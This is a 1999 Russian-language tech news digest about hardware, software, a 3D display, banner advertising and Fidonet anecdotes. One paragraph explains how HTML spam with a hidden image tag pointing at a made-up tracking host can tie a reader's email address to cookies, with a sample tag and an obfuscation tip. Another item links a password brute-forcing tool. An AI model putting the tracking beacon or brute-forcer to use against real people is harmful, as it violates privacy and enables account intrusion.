12 декабря 1999


         
unix haters
Ну, что бы я делал без своих читателей? То же самое, что и сейчас, наверно :-)
          Dmitry Fink [HTTP://WWW.FINIK.NET] откопал где-то в дебрях гейтованных конференций фидонет :-) FAQ про 25 кадр [issue121299/25cadr.html], точнее - описание, почему оно на данный момент не работает на существующих компьютерах. И почему вряд ли будет когда-нибудь работать.
          А еще он же прислал совершенно потрясающую ссылку на Юникс-ненавистников [http://catalog.com/hopkins/unix-haters/] (это каталог, вообще-то, наверно, логично будет начать с login.html [http://catalog.com/hopkins/unix-haters/login.html]). Да - красного цвета там ссылки, в них нужно тыкать. Курсор - тоже ссылка, в нее тоже тыкать. Идея мне весьма понравилась, реализация - тоже :-)
         
qalcomm
Очередное поветрие - интегрировать "карманные" компьютеры с соовыми телефонами - продолжается. Если до сих пор это обычно выглядело как сотовый, который можно "разломить" вдоль, как в фильме про Джеймса Бонда, чтобы получился маленький палмтоп, то есть получался как бы палмтоп, на крышку которого наклеен сотовый, :-) то QualComm сделал немного по другому. У обычного сотового расширен экранчик, клавиатура перенесена на "откидушку", в результате чего получился этакий сотовый-переросток [http://www.cnn.com/1999/TECH/ptech/12/03/qualcomm.pdq/index.html], а точнее - палмтоп, к которому прикрутили антенну и телефонную клавиатуру. Ну, и кроме стандартных палтопных возможностей - можно пользоваться e-mail, и вроде даже бродить по www. Хотя, говорят, телефончик получился все-таки тяжеловат.
          А еще тот же qualcomm делает почтовую программу Eudora. Некоторые (вроде меня) ее даже помнят - когда IE можно считать что не было, demos mail был крив и малопригоден к использованию, равно как и "лошадь с крыльями" - pegasys mail, многие пользовались этой самой Eudora. Которая выпускалась в двух вариантах - eudora light, бесплатная, но с уменьшенными возможностями, и полный вариант - уже за денюжку.
          Так вот, qualcomm (до сих пор не пойму, как они совмещают разработку довольно популярных программ и довольно продвинутого железа - нечастое сочетание) отказался от идеи Eudora Light, и взамен выпустил бесплатную "полную" версию [http://www.internetnews.com/prod-news/article/0,1087,9_256931,00.html], отличающуюся от платной тем, что бесплатная показывает пользователю рекламные баннеры :-) Неочевидно пока, соразмеримы ли будут доходы от баннеров с ценой "полной" версии, но что-то в этом есть.
          Свежая идея в дисплеестроении. Точнее, в трехмерном дисплеестроении. До сих пор все старания по передаче объема сводились к тому, чтобы создать две картинки - для левого и для правого глаза, а затем как-нибудь разделить их по глазам. Физически засунуть два экранчика в очки, разнести по времени а очки поочередно затемнять, нанести на экран квадратики поляризатора в "шахматном" порядке, а в очки вставить поляризационный фильтр...
          Dimensional Media Associates [http://www.zdnet.com/pcmag/stories/reviews/0,6755,2406495,00.html] поступила проще. Берем несколько (пока 12, потом будет 50) плоскостей, располагаем их одна за другой, на каждую проецируем картинку. Получаем нечто естественным образом трехмерное, без очков, поляризаторов и мерцаний. Правда, судя по описанию, для игрушек и 3d-реализма это слабопригодно (плоскости все-таки - перспективу на них не очень уложишь, да и с удалением невидимых контуров неочевидно как поступать), но, поскольку в отличие от очков и прочего это не утомляет глаза, для, скажем, конструкторской деятельности лучше трудно придумать.
          ...кстати, где-то когда-то я читал про любительскую модельку трехмерного дисплея, где картинка рисовалась лазером на поверхности вращающейся спирали. Идея в принципе похожа, разве что у DMA плоскости стоят, а тут не плоскость, и движется.
          Хакеру в авоську с инструментом. программка [http://void.hs.ru/oboz/9912/03.html], умеющая подбирать пароли к сервисам, авторизующим клиента plaintext паролем. А таких не так мало - telnet, ftp, pop3, http... Правда, как обычно, на подбор пароля вроде 5$j8H#2.*9y4 уйдет не один миллиард лет, но... никто ведь не обещал, что будет легко?
          Интел не стоит на месте - и планирует [http://www.maximumpc.com/content/1999/12/09/10201] выпустить 800МГц P-III. Подробности того, что стоит за таким прорывом в скорости можно посмотреть на EETimes [http://www.eetimes.com/story/OEG19991209S0037]. И это очень вовремя - по слухам :-) новые "медные" AMD Athlon весьма хорошо разгоняются, плюс AMD собирается сделать некие улучшения-дополнения-ускорения в своих k7, так что серьезные пользователи теперь могут еще очень задуматься, а нужен ли им intel в собственном inside.
          Кстати - FAQ по AMD k7 [http://www.amdzone.com/articles/k7faq/]. И до кучи - Athlon overclocking FAQ [http://www.tech-report.com/faq/athlon.x]. Может, кому пригодится.
          И еще более кстати. AcesHardware [http://www.aceshardware.com/] где-то откопали потрясающую новость. Заметный процент athlon'ов, изготовленных по технологии 0.18мкм работают на 1ГГц! Более того - вполне заментный процент новых "медных" атлонов работает на 1.2ГГц!! Если это так - становится понятно, почему Интел так суетится с мегагерцами и титаникумом... пардон, itanium'ом.
          BP6.com [http://www.bp6.com/#News] сообщает - intel coppermine не идут на Abit BP6. И вряд ли когда-нибудь пойдут. Так что счастливым владельцам "конфетки" в виде dual celeron машинки на BP6 придется подождать с апгрейдом. Возможно кто-нибудь когда-нибуть сделает переходник с коппермайнового сокета в целероновый сокет. Тем более, что они почти одинаковы...
          А на yahoo [http://biz.yahoo.com/bw/991208/ca_iwill_u_1.html] тем временем пишут, что iWill выпустил версию :-) переходника slotket (помним такой - для втыкания s370 celeron'ов в slot-1 материнские платы), но для intel coppermine. В этой версии учтены различия в управлении питанием (одна из причин, по которой коппермайн нельзя просто так воткнуть вместо целерона), но вообще пока надо быть осторожным - есть случаи [http://www.jc-news.com/pc/], правда не с iWill'овским адаптером, выгорания коппермайнов. О как.
          Паранойя продолжается [http://www.tiac.net/users/smiths/privacy/cookleak.htm] :-) То американцы бурно возмущаются таким наглым, понимаешь, вмешательством в свою частную privacy, как использование рекламными агентствами cookies для создания "профиля" конкретного рекламопотребителя, то их немного успокаивают, объяснив, что такое куки, и почему их довольно сложно привязать к конкретной личности, теперь - новый виток - кто-то рассказал американам, как именно можно "привязать" куку к e-mail конкретной личности...
          Идея, впрочем, проста, и тем интересна. Предполагаем, что мы (баннерная система, рекламное агентство) уже имеем достаточную базу по кукам, и активно отслеживаем, кто, куда, с какими куками и с какого ip.
          А теперь рассылаем спам. Обычный такой спам, в формате html. HTML сейчас читают почти все почточиталки, так что тут проблем нет. А в текст вставляем строчку типа <img src=http://bannernaya.sistema.com/lovushka.cgi?e-mail=user@host.com height=1 width=1>. Читалка честно запросит картинку, отдав при этом системе адрес, а заодно и куку, ранее этой системой выданную после чего связать куку с адресом удастся в одно действие. А чтобы строчка была менее подозрительной - можно вместо ?e-mail=... написать, скажем, ?qcas=$yu43u2uyt43uy45t4y5i4y65.
          Все-таки даже паранойя должна быть в меру.
          Своеобразное чувство юмора оказалось у одного почтового работника, ответственного за ответы на письма "Санта Клаусу" (они, оказывается, не возвращаются с пометкой "адресат недоступен", а аккуратно отвечаются специальными людьми). Ну вот зачем ему понадобилось ответить 9-летнему ребенку "Санта мертв. Я его убил" [http://www.freep.com/news/metro/santa9_19991209.htm]? ;-)
          Забавные вещи [issue121299/1.5us.html] узнаешь, читая фидо. Со времен икстишек, когда пара микросекунд на выполнение команды in al,dx было весьма неплохим временем, прошло много, э... времени, утекло много песка, просыпано много кремния и набрано много новых мегагерц и мегабайт. Win3.1 перестал казаться неповоротливым монстром, отдельные смелые люди начинали жить под win95, и наконец венец творения - win2k - уже способен на современном железе загрузиться и начать работу за время, не превышающее получаса. Успехи налицо, особенно по сравнению с икстишками да 286. Мегагерцы выросли на два порядка, суммарная производительность (за счет разнообразных широких шин, конвейеров, кешей, распараллеливаний, и другой туманной для пользователя терминологии) выросла еще сильней. Естественно хочется думать, что и время выполнения одной отдельно взятой команды процессора, ну, там, NOP, например, или опять же in al,dx, тоже того, ускорилось. Порядка на два-три.
          Оказывается, нет. Время выполнения in al,dx (а равно и out dx,al, а равно и других in и out) как измерялось в микросекундах, так в них и измеряется. И в зависимости от фазы луны и особенностей чипсета колеблется в пределах 1-2 мкс. В то время как остальные команды (включая, скажем, "вычисление_синуса_и_косинуса_одновременно") давно выполняются за наносекунды. Что почти на три порядка... м-да. Прогресс налицо :-)
          Издательство "Открытые Системы" [http://www.osp.ru] на днях заявило. "В связи с увеличивающимся потоком политически некорректной рекламы распространяемой через системы баннерного обмена и невозможностью реального управления ею Издательство "Открытые Системы" временно прекращает размещение баннеров от систем обмена. В настоящее время некоторые владельцы ресурсов интернет в угоду сомнительным интересам используют грязные приемы, "успешно" работающие на российском телевидении. Мы призываем всех владельцев баннерных систем и интернет-ресурсов присоединиться к нам и отказаться от использования подобных приемов. По вопросам размещения обращайтесь к нам напрямую". И так и сделало - теперь у них собственная БС крутит рекламу. Интересно, это у них насовсем, или на время выборов?
          И еще немного из фидо :-) Про линукс.

Area: RU.OS.CMP
From : alex@idisys.iae.nsk.su
Давеча вот Corel Linux увидал. Бл... Бл... Благодать-то какая :-) Представьте себе, при загрузке появляется достаточно стильно нарисованная _графическая_ заставка, какие-то там cdrom'ы, коробочки, все это выдержанно в приятном Кореловом стиле, ну и менюшка:
Linux... (загрузка вся из себя такая графическая, чуть ли не мультики кажет :-)
Linux Expert Mode (это, насколько я понимаю, стандартный ядерный вывод)
...
Windows (это у друга дуалбут)

win2k loader по сравнению с - детский лепет :-))
Я ушел удрученный :-)
          social engineering [issue121299/se.html] в применении к хакингу :-) Выловлено опять же в фидо, отслеживать оригинал было лениво - читайте так. Читается как легкий детективчик или рассказ "про хакеров" :-) Хорошо писать умеют :-)


Оригинал страницы находится на http://dibr.nnov.ru/issue121299.html.(с) DiBR
При перепечатке ссылка обязательна. <<  *  >>